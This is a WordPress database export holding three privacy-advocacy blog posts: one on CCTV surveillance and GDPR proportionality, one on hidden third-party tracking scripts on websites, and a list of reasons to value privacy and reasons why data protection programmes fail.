(402,1,'2019-05-09 17:45:43','2019-05-09 16:45:43','<!-- wp:heading {\"level\":4} -->\n<h4>The omni-presence of CCTV cameras. A subject I have been writing about for many years, including <a href=\"https://www.linkedin.com/pulse/life-under-digit-tara-taubman-bassirian-llm/\">here</a> and <a href=\"https://www.linkedin.com/pulse/keeping-eye-tara-taubman-bassirian-llm/\">here</a>.</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Two new guidances, one by the <a href=\"https://t.co/iLfWe3PxTR\">Irish Data Protection commissionner</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>and one by the <a href=\"https://ico.org.uk/for-organisations/in-your-sector/business/general-data-protection-regulation-gdpr-faqs-for-small-retailers?utm_source=twitter&amp;utm_medium=iconews&amp;utm_term=11692803-24bf-4164-9af2-1bd530eea6b7&amp;utm_content&amp;utm_campaign&amp;fbclid=IwAR03GMYAKvSjh92H8VC5mHW69dv7Ldll_GYaJ5KcVaz4RGlwwDvMEhL8sD8\">UK ICO.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I know, big Brother is taking over our streets and buildings. This omniveillance has severe chilling effects on our Fundamental Rights of freedom and human dignity. We are seriously suffocating in our Panoptican society.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What private CCTV camera surveillance can cause ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Record any movement. They are usually not allowed to record voices. They record indistinctly, regardless of criminals or purely innocent walking by.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because <a href=\"https://datarainbow.eu/2019/01/22/why-privacy-matters/\">privacy matters</a>, CCTVs  have to obey to strict rules : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You need :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>To inform the public by clear warning, </li><li>Register your cameras with the Information Commissionner, </li><li>Assess the privacy impact of the surveillance recording in a <a href=\"https://www.gov.uk/government/publications/data-protection-impact-assessments-for-surveillance-cameras\">DPIA</a>,</li><li>Secure the data collected,</li><li>Limit access to data collected,</li><li>Be ready for anyone to send a Subject Access Request to access the video footage at no cost with obligation to blur third parties faces, </li><li>Ensure that the CCTV images are clear and of a high quality,</li><li>Comply with the comprehensive ICO CCTV <a href=\"https://ico.org.uk/for-organisations/data-protection-self-assessment/cctv-checklist/?fbclid=IwAR0biT_007rE2cbDeMXL4aaRpvXmJcxGCieiV6tbgBGxxdaAqXxt96mQzok\">check list</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>The <a href=\"https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/282774/SurveillanceCameraCodePractice.pdf?fbclid=IwAR1jQCpXzQh1BnkXrWTdB6SBZ6ScEqHsBaS2HHICoraZHUsYB818lRal5Ac\">Surveillance Code of Practice</a> has not yet been updated to comply with the GDPR. It states \"<em>Principle 7 - Access to retained images and information should be restricted and there must be clearly defined rules on who can gain access and for what purpose such access is granted; the disclosure of images and information should only take place when it is necessary for such a purpose or for law enforcement purposes.</em>\"&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What is the nature of the pictures recorded by the CCTV cameras?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>GDPR require higher protection for \'<em>special category data\'</em>. Recital 51 clarifies when pictures can be considered of \'<em>special category</em>\' or as previously called \'<em>sensitive data</em>\' : “<em>Those personal data should include personal data revealing <strong>racial or ethnic origin</strong>, whereby the use of the term ‘racial origin’”: photographs should not systematically be considered to be processing of SC of PD as they are covered by the definition of biometric data only when processed through a specific technical means allowing the unique identification or authentication of a natural person</em>.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"<em>The processing of photographs should not systematically be considered to be processing of special categories of personal data as they are covered by the definition of biometric data only when processed through a specific technical means allowing the unique identification or authentication of a natural person.</em>\"  <a href=\"https://iapp.org/news/a/ask-the-privacy-expert/)\">IAPP comments</a> </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Therefore when a CCTV footage reveal an image identifying an individual with its racial or ethic origin, by the colour of the skin or any external religious sign, these should be considered special category data. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>A management company intend to use CCTV images to name and shame fly tippers.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not seeing any result with their CCTV cameras to stop fly tipping, the management company of a private residence decide to pass at a higher speed by naming and shaming perpetrators.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The <a href=\"https://ico.org.uk/your-data-matters/cctv/?fbclid=IwAR2ukAzVv4yVY9KEv5zFUkSRb6g7Va1q07Xti8AdyqX3rQv_lzdyOmEq4qE\">UK ICO specifically request</a> that \"<em>CCTV operators are not allowed to disclose images of identifiable people to the media - or to put them on the internet - for entertainment. Images released to the media to help identify a person are usually disclosed by the police.</em>\"&nbsp;<a rel=\"noreferrer noopener\" target=\"_blank\" href=\"https://l.facebook.com/l.php?u=https%3A%2F%2Fico.org.uk%2Fyour-data-matters%2Fcctv%2F%3Ffbclid%3DIwAR2mHJ3YdgIEo95OlkNPQEJIhtq8sddhUeFGLLwdLxP41EHuZhNcZi9AThs&amp;h=AT0KGO2z-vp79YdW98JcL8ySgXe0Yz8BlIB9Aw4UjOdZPWLZjN23jXvoxryzS0d4tVZboM1vwGJSvrO7OjOPiFXd2Ed1703uY3cA3Xvs0OgiZeUxQCoj7zy7FOtKZ-I6PeHcGQAnxg\">&nbsp;</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Naming and shaming will result in identifying, revealing racial, ethnic, religious origins and eventually capture minors.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not noticing much improvement with the cameras, the management has now decided to name and shame the perpetrators. When public naming and shaming, they should be ready for this sort of out of control incidents&nbsp;<a rel=\"noreferrer noopener\" target=\"_blank\" href=\"https://www.bbc.co.uk/news/uk-england-coventry-warwickshire-11087061?fbclid=IwAR3JwAi7npCRmC_pkVcHyAM-D0LaEPt4xz62wYpX7uqsZj5TA9EBukD0TuQ\">https://www.bbc.co.uk/.../uk-england-coventry...</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The issue of securing the data collected</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CCTV cameras are easily hackable as shown in <a href=\"https://www.zerohedge.com/news/2019-05-02/chinas-mass-surveillance-app-hacked-code-reveals-specific-criterea-illegal?fbclid=IwAR3Vl1RuX8GW2fSYdixxxrKb9rE038S7MZ5rLO0srl3mJ2zAZwL3po1BCMg\">this case</a>&nbsp;and&nbsp;therefore&nbsp;a&nbsp;burden&nbsp;to&nbsp;keep&nbsp;safe. Cameras footage can be interecepted to <a href=\"https://clarinettesblog.wordpress.com/2012/02/07/would-you-like-a-webcam-in-your-bedrooms-and-bathrooms-broadcating-live/\">broadcast live online</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://securityboulevard.com/2019/05/smart-cities-and-smarter-hackers/amp/\">Smart cities and smarter hackers</a>. \'<em>Japan is planning a mass hackathon after passing legislation to prepare their citizens in advance of their 2020 Olympics. The company’s government plans to test the security of 200 Million IoT devices to create awareness of IoT security and its importance in the run up to the big event next year.</em>\'</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Do you want to give access to your data footage to any hacker? <a href=\"https://paulbernal.wordpress.com/2012/02/07/do-you-want-a-camera-in-your-kids-bedroom/\">Read more here</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The issue of over-reliance on technology</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Wrong identification cans easily ruine someone\'s reputation as internet never forget. White Europeans are usually not good at identifying black or Asian. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Privacy, necessity and the balance of proportionality</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Privacy is a fundamental human rights resulting of the Article 8 ECHR. In the context of fundamental rights, such as the right to the protection of personal data, proportionality is key for any limitation on these rights. It is a requirement before deploying any process to consider the balance between the means used and the intended aim. \'<em>Proportionality requires that advantages due to limiting the right are not outweighed by the disadvantages to exercise the right.&nbsp; In other words, the limitation on the right must be justified. Safeguards accompanying a measure can support the justification of a measure.&nbsp; A pre-condition is that the measure is adequate to achieve the envisaged objective. In addition, when assessing the processing of personal data, proportionality requires that only that personal data which is adequate and relevant for the purposes of the processing is collected and processed.</em>\' The EDPB has published an <a href=\"https://edps.europa.eu/sites/edp/files/publication/17-06-01_necessity_toolkit_final_en_0.pdf\">Assessment and Necessity Toolkit</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Balancing fairness and proportionality</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Article 6(1)f  lawful ground of processing personal data balancing exercises require it to be ‘<em>necessary for the purposes of the legitimate interests pursued by the controller or by a third party, except where such interests are overridden by the interests or fundamental rights and freedoms of the data subject</em>’. In other words, the legitimate interests of the controller&nbsp;<em>and</em>&nbsp;those of third parties against the interests, fundamental rights and freedoms of the data subject have to be balanced. The legitimate interest of the data controlor has to be balanced against the individual’s interests, rights and freedoms. Where same result can reasonably be achieved in a less intrusive way the legitimate interests basis for processing will not apply.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The balance of rights between the use of CCTV cameras naming and shaming and the rights of individuals can be considered <a href=\"https://www.independent.co.uk/.../facial-recognition...\">excessive and out of proportion</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When publicly naming and shaming,  this sort of <a href=\"https://www.bbc.co.uk/news/uk-england-coventry-warwickshire-11087061\">out of control incidents </a>should be expected. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I understand dumping is bad but it doesn\'t justify destroying someone\'s life and reputation. <a href=\"https://datarainbow.eu/2019/01/22/why-privacy-matters/\">Internet memory is indelible</a>. In a more legal term, it doesn\'t stand the balance of proportionality to publish the footage. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>When the same result could be achieved in a less intrusive way </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CCTV Code of Conduct suggests other measures such as more lighting for a bette security. In Frankfurt/Germany, twice a month residents would leave outside their unwanted items for the council vans to pick up. Sadly in UK in many areas, they are insuffisant recycling centers, some have even started to charge. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fine, the balance of proportionality has in one side the constant nuisance caused by dumping and on the other hand, fundamental rights and freedom of innocent residents and their visitors, the security of the network, unauthorised access to CCTV footage, over-reliance on technology and mis-identification of perpetrators, excessive and out of control online reactions, Data subject Subject Access Requests,  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>As example of issues created by pictures posted online to identify criminals:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.independent.co.uk/news/uk/home-news/facial-recognition-london-inaccurate-met-police-trials-a8898946.html\">Facial recognition wrongly identifies public as potential criminals 96% of time, figures reveal </a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.digitaltrends.com/home-theater/dont-be-a-sucker-the-white-van-speaker-scam-explained/\">The white van speaker scam explained, and how it moved to Craigslist and Facebook</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.thejournal.ie/paris-white-van-4566347-Mar2019/\">How an internet hoax about a \'white van kidnapper\' sparked violence in Paris</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Was Mary Bale the most evil person in Britain to deserve to be publicly named and shamed <a href=\"https://www.independent.co.uk/news/uk/home-news/is-mary-bale-the-most-evil-woman-in-britain-2064733.html\">that way</a>? <a href=\"https://www.independent.co.uk/news/uk/home-news/is-mary-bale-the-most-evil-woman-in-britain-2064733.html\">The sad reputation of the woman who dumped her cat in a bin.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\'<em>In an attempt to crack down on shoplifters, a UK storeowner has begun posting CCTV images of suspected thieves on the company\'s website, along with the incentive of a 500 pound (€580) reward for those who successfully identify thieves. On Saturday, the scheme claimed its first victim. But is it legal?</em>\' <a href=\"https://observers.france24.com/en/20090819-naming-shaming-shoplifters-cctv-legal-home-bargains?fbclid=IwAR26I88C13Nya4Wu3B21FBS9HN-5M61oGrrT5wzXY0y1_ETRqUypijE8JVI\">Read more here</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Does it worth the cost? I hope you share my view to answer no. Help me to explain to privacy consultants why CCTV cameras combined with naming and shaming of dumpers is not a great idea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>This work is licensed under a&nbsp;<a href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\" rel=\"noreferrer noopener\">Creative Commons Attribution 4.0 International License</a>.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->','CCTV cameras and captured images','Big Brother is taking over our streets and buildings. This omniveillance has severe chilling effects on our Fundamental Rights of freedom and human dignity. We are seriously suffocating in our Panoptican society.','publish','closed','closed','','life-under-digits-and-freedom','','','2020-11-26 21:17:21','2020-11-26 21:17:21','',0,'http://datarainbow.eu/?p=402',0,'post','',0),(428,1,'2019-06-16 15:31:46','2019-06-16 14:31:46','<!-- wp:paragraph -->\n<p>As a privacy and data protection advocate, we do occasionally monitor major websites compliance with data protection regulations. <a href=\"https://datarainbow.eu/2019/01/27/website-transparency-cookies-and-privacy-notice/\">We have previously wrote</a> about website compliance and cookies requirements of information, transparency and consent request where applicable. The French Data Protection Authority, CNIL, has played a lead role in <a href=\"https://datarainbow.eu/2019/01/27/french-cnils-six-first-month-of-gdpr/\">clarifying the regulation</a>. The expectation would be that French websites would have benefited from the guidances produced, using the two years of preparation and the first year of GDPR application to comply. Sadly, this has not always been the case. Even pointing the issues to some web owners has not had much effect. Compliance with cookie laws should not be that hard : a cookie banner based on opt in giving visitors the option of accepting tracking, a privacy notice with required information to offer full transparency. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To ensure our observations on the website were correct, we requested several IT and security experts to double check the reports found. One particular recognised expert, Allen Woods, retired today, kindly accepted to have a look to further analyse one of these websites. The result is eye opening. We knew about website tracking but this website analysis threw the light to a whole different dimension on the depth of tracking, profiling and fingerprinting, data sharing with third parties not only via cookies but Java Script codes used by the web developers. We invite anyone involved with data protection, IT security and cybersecurity to carefully <a href=\"http://www.jitsoftware.co.uk/downloads/pagereview.pdf\">read this document </a>with full attention. Please share your views and observations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Initially Allen Woods confirmed that \'the use, by second, third and fourth parties of cookies constitutes an extension of the organisation boundary of site owners tracking the movements of devices and therefore their owners, with a considerable degree of accuracy\'</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Allen Woods then proceed to further scrutiny to add into his report : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\'with the sample URL taken from an apparently autogenerated module with the file name : “7D1mEqsUJEn.js. Both beacon and file name appear to be automatically generated at run time on a basis similar to GUID identifiers. The direct impact of the module is an embedded call back to the react.js CDN web site (part of the Facebook estate) with the effect of forcing a regular Facebook monitoring presence on any page using or calling the react.js sub components or code functions concerned.\'</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You wonder how many lawyers, even IT lawyers advising Data Protection compliance, or website owners understand what this means. Let\'s be honest, We are just starting to pierce the mystery of coding thanks to Allen and few other security experts around.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It\'s important to note that for Allen the hidden JavaScript codes on the website \'represents a multiple risk in that source and components can be inserted for tracking or any other purpose malicious or otherwise but without making the client side users aware.\'</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\'In the authors opinion, the owners of the site under review have lost control of data flow into and out of the site concerned and should consider a complete rebuild using components that have been vetted in terms of their functionality and capabilities with a view to reversing that loss of control. \'</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Secondly, a review of the reasoning behind the need to collect and analyse visitor traffic should be carried out and an alternative to the use of Google Analytics should be seriously considered.\' This is important as many many websites use Google Analytics to measure their web traffic trough the IP address. IP address, identification number entering the definition of \'personal data\' as in the Article 4 GDPR.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\'As a matter of due diligence, when commissioning a site, site owners should take an active role in approving which components are going to be used by whoever it is that is commissioned to build their web site. If the author was asked to approve any of the components provided by major platforms generally, but particularly social media platforms like Twitter, Google and Facebook and external template platforms like WORDPRESS, that those suggesting the use of such components should guarantee site owners as to the reliability and robustness of the code in respect of compliance and furthermore prove that the code concerned had been forensically reviewed to confirm reliability and robust compliance.\'</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Disclaimer here : this DataRainbow website itself is build on a Wordpress template, and uses Google\'s Gutenberg\'s font but no analytics, we are looking to change this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Knowing how much users\' behaviour is tracked gives a tough burden and liability to website owners as data controller unless there is a certification assuring web developers real competences and not simply a \'lego block\' assembler expert. Increasingly web developer use templates such as Wordpress that comes out of users control tracking behaviour and location. Based on the GDPR, they are two level of liability. One for the data controller, basically whoever decides the means and purposes of the data processing, and the data processor, acting under the guidance and on behalf of the data controller. The European Court of Justice Advocate General opinion in the FashionID case where embedded Facebook \'like\' button capable of gathering data such as IP addresses and browser identification where Facebook is considered data controller, held that the hosting websites should be considered as joint data controller sharing proportional liability. The Facebook Fanpage decision had already created co-controllership between Facebook and the admin of the Facebook page. The website owner which receives anonymous statistics is deemed to be data controller by permitting third party scripts as the data they allow to be collected is not anonymous from the perspective of the analytics providers. A detailed picture of users is build to target advertising to users. ECJ in the&nbsp;Jehovan todistajat held that in order to have joint control and joint responsibility, it is not required that each of the controllers must have access to (all of) the personal data concerned. Many web owners are in total ignorance of such a shared liability.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Facebook is in close competition with Google, Amazon, Microsoft or Twitter. A privacy regulation might find challenging to combat this kind of behaviour as it’ has become an anti-trust issue of over grown corporations. GAFAM\'s seems to have become too big to any regulator to combat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://facebook%20users%20cannot%20avoid%20location-based%20ads%2C%20investigation%20finds/\">Facebook users cannot avoid location-based ads, investigation finds. Facebook&nbsp;</a> \'There is no combination of settings that users can enable to prevent their location data from being used by advertisers to target them, according to the privacy researcher Aleksandra Korolova. “Taken together,” Korolova says, “Facebook creates an illusion of control rather than giving actual control over location-related ad targeting, which can lead to real harm.”. In reality, users tracking goes above simple users geolocation. Many websites using free Facebook codes librairies track users geolocation and browsing on all kind of websites.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Helen Dixon, The Irish Data Protection Commissionner, in <a href=\"https://www.thestar.com.my/tech/tech-news/2019/06/13/us-tech-giants-risk-hefty-fines-irish-privacy-chief-warns/\">a recent interview</a> announced potential first fines in the next few weeks : “It would be a most surprising outcome if, of the 20 big tech investigations we have underway, fines were not a feature of the process,” Dixon said in an interview in London, after speaking at Bloomberg’s Sooner Than You Think technology conference. Simply fining GAFAMs wont stop them, there need to be combined by injunction to stop the fingerprinting and delete all data illegitimately collected. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.gdprtoday.org/ad-tech-gdpr-complaint-is-extended-to-four-more-european-regulators/?fbclid=IwAR3mtPtL9AYGjdJtmCICdIBBCEH1pbXazM-ID-RLBHzxVoQkzXJWAG31chY\">Ad Tech GDPR complaint is extended to four more European regulators</a>. Complainants consider Real-Time Bidding a “vast scale personal data leakage by Google and other major companies” in the behavioural advertising industry. \'GDPR complaints about Real-Time Bidding (RTB) in the online advertising industry were filed today with Data Protection Authorities in Spain, the Netherlands, Belgium, and Luxembourg.&nbsp; The complaints detail the vast scale of personal data leakage by Google and other major companies in the “Ad Tech” industry. This week marks one year since the introduction of the GDPR.&nbsp;    The new complaints have been filed by&nbsp;<a href=\"https://www.eticasconsulting.com/en/people-2018/\">Gemma Galdon Clavell</a>&nbsp;(Eticas Foundation) and&nbsp;<a href=\"https://www.finchabogados.com/es/equipo-abogados/diego-fanjul-martinez/\">Diego Fanjul</a>&nbsp;(Finch),&nbsp;<a href=\"https://www.bitsoffreedom.nl/mensen/david-korteweg/\">David Korteweg</a>&nbsp;(Bits of Freedom),&nbsp;<a href=\"https://www.law.kuleuven.be/citip/en/staff-members/staff/00083103\">Jef Ausloos</a>&nbsp;(University of Amsterdam),&nbsp;<a href=\"https://www.kuleuven.be/wieiswie/nl/person/00117807\">Pierre Dewitte</a>&nbsp;(University of Leuven),&nbsp;and&nbsp;<a rel=\"noreferrer noopener\" href=\"https://iapp.org/about/person/0011a00000gqgtUAAQ/\" target=\"_blank\">Jose Belo</a>&nbsp;(Exigo Luxembourg). Today’s filings extend the complaints initially filed in Ireland, the UK and Poland, to a total of seven EU countries. This week marks one year since the GDPR.   <a href=\"https://www.gdprtoday.org/ad-tech-gdpr-complaint-is-extended-to-four-more-european-regulators/?fbclid=IwAR3DDXFuMfMhSU62kLtoEgsG7TyjgRmN7kseUOuOMER86VxGOmrqiEcK70s\">&nbsp;</a>Read more <a href=\"https://www.gdprtoday.org/ad-tech-gdpr-complaint-is-extended-to-four-more-european-regulators/?fbclid=IwAR3DDXFuMfMhSU62kLtoEgsG7TyjgRmN7kseUOuOMER86VxGOmrqiEcK70s\">here</a>&nbsp;and&nbsp;<a href=\"http://GDPR complaints about Real-Time Bidding (RTB) in the online advertising industry were filed today with Data Protection Authorities in Spain, the Netherlands, Belgium, and Luxembourg.  The complaints detail the vast scale of personal data leakage by Google and other major companies in the “Ad Tech” industry. This week marks one year since the introduction of the GDPR.   The new complaints have been filed by Gemma Galdon Clavell (Eticas Foundation) and Diego Fanjul (Finch), David Korteweg (Bits of Freedom), Jef Ausloos (University of Amsterdam), Pierre Dewitte (University of Leuven), and Jose Belo (Exigo Luxembourg). Today’s filings extend the complaints initially filed in Ireland, the UK and Poland, to a total of seven EU countries. This week marks one year since the GDPR.\">here</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Somehow, we can imagine the gathering of information on each individual internet user to profile their personality in order to predict needs and wishes to be sold to Ad bidders. <a href=\"https://medium.com/analytics-for-humans/google-wants-you-to-rethink-your-customer-journey-98e9d231d096\">Google\'s wish</a> is to predict your needs before you realise. Young people get offered Apple \'smart\' watch with their Vitality insurance and health club that monitor their heart beats and exercises. This is all OK until an illness is detected. Women won\'t anymore need to knock at the HR door to announce their pregnancy. Probably their employer will be informed before they even notice it. Consequently, new businesses have been created : <a href=\"https://www.ibtimes.com/unfitbits-how-trick-your-fitbit-thinking-youre-working-out-youre-not-1920366\">dog Fitbit walker to simulate exercise to trick the insurance company</a>. Would that be sufficient? Probably not enough to hide actual sickness that your insurance company love to be the first to know about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And if you wondered <a href=\"https://datarainbow.eu/2019/01/22/why-privacy-matters/\">why all that matters</a>, think of the past, not that long ago, what the Stasi could have done had they had access to Google or Facebook. Think of totalitarian regimes. Think of the US democracy asking social media passwords from visitors. you think you have nothing to hide, think twice. Think of over-reliance on technology and the margin of error. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fine, a demonstration of what happened <a href=\"https://youtu.be/xYZtHIPktQg\">if your shop assistant was an App.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Further read</em> : <a href=\"https://www.businessinsider.com/facebook-google-amazon-dominate-digital-economy-chart-2019-6?r=US&amp;IR=T\">“More than two of out every three dollars spent on digital ads in the US goes to one of the three companies.”</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://geomarketing.com/beacon-marketing-platform-inmarket-introduces-predictive-targeting-program\">Beacon Marketing Platform inMarket Introduces Predictive Targeting Program</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>in 2009 <a href=\"https://www.telegraph.co.uk/technology/facebook/6214370/Facebook-shuts-down-Beacon.html\">Facebook shuts down Beacon</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://policyreview.info/articles/news/data-subjects-data-controllers-fashionable-concept/1400\">On the expanding notion of data controller </a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>This work is licensed under a&nbsp;<a href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\" rel=\"noreferrer noopener\">Creative Commons Attribution 4.0 International License</a>.</li></ul>\n<!-- /wp:list -->','Websites surreptitiously tracking and reporting on visitors','Website tracking and monetizing website visitors. What liability for web owners?\n','publish','closed','closed','','websites-surreptitiously-tracking-and-reporting-on-visitors','','','2020-11-26 21:10:24','2020-11-26 21:10:24','',0,'http://datarainbow.eu/?p=428',0,'post','',0),(458,1,'2019-07-03 08:59:58','2019-07-03 07:59:58','<!-- wp:paragraph -->\n<p>Sharing Stewart Room\'s Privacy insights with his authorisation. Stewart Room is Partner at PwC UK.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Top reasons to cherish concepts of </strong><a href=\"https://www.linkedin.com/feed/hashtag/?keywords=%23privacy\"><strong>privacy</strong></a>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>? <em>Discovery and development</em>: we need a private place to develop and grow, to experiment and to find out who we are. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>? <em>Happiness</em>: our relationships with one another require a private place to kindle, to sustain, for love. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>? <em>Sanctuary</em>: a private place is a refuge from persecution, intolerance, abuse and harm. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>? <em>Disagreement, dissent</em>: sometimes people need to resist or fight back against dictators, demagogues and dystopian potentials, for which privacy is essential. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>? <em>Trust in tech</em>: amazing tech innovations have the capacity to change the world for the good, but not without privacy trust and confidence. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>? <em>Consumer protection</em>: personal data fuels business and public services, but its our data, not theirs, so privacy rules protect us from abusive practices. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>? <em>Reputation</em>: respecting privacy enhances reputations, from policing, to the workplace, to online activities and everything in between. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>? <em>Business purpose</em>: creating and sustaining economic value for the long term can’t be divorced from the need to respect privacy.  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>? <em>Our values</em>: privacy is a fundamental right in a democratic society, upon which everything stands or falls, so it’s a differentiator between what we value and what we would dread to become.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Top reasons why </strong><a href=\"https://www.linkedin.com/feed/hashtag/?keywords=%23Data_Protection\"><strong>Data_Protection</strong></a><strong> programmes fail to deliver: </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>? <em>Purpose</em>: if an organisation doesn’t understand why a good approach to DP is integral to its purpose, how can we expect good outcomes? </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>? <em>Tone from the top</em>: leadership is everything, but if the Board won’t lead on DP, what’s there to follow? </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>? <em>Skills</em>: DP needs a multi-disciplinary team to deliver, so if key skills are lacking, problems will embed. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>? <em>Silos</em>: silos mean behavioural, virtual and physical barriers standing in the way of DP success. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>? <em>Vision</em>: yes, DP is a legal topic, but in the real world it needs more than a legalistic vision.  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>? <em>Narrow and shallow transformation</em>: DP needs to be delivered in all layers of the organisation, covering paper, people, tech and data, so change needs to be broad and deep. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>? <em>Technology Reference Architecture</em>: a comprehensive approach needs a TRA, so if you haven’t got one, don’t be surprised by DP failure. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>? <em>Special Characteristics</em>: buying off the peg is ok at times, but DP needs ‘made to measure’ solutions, knowing the factors that make your organisation unique. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>? <em>Adverse Scrutiny</em>: DP needs to survive adversity, so ignoring your risks is a recipe for disaster.  </p>\n<!-- /wp:paragraph 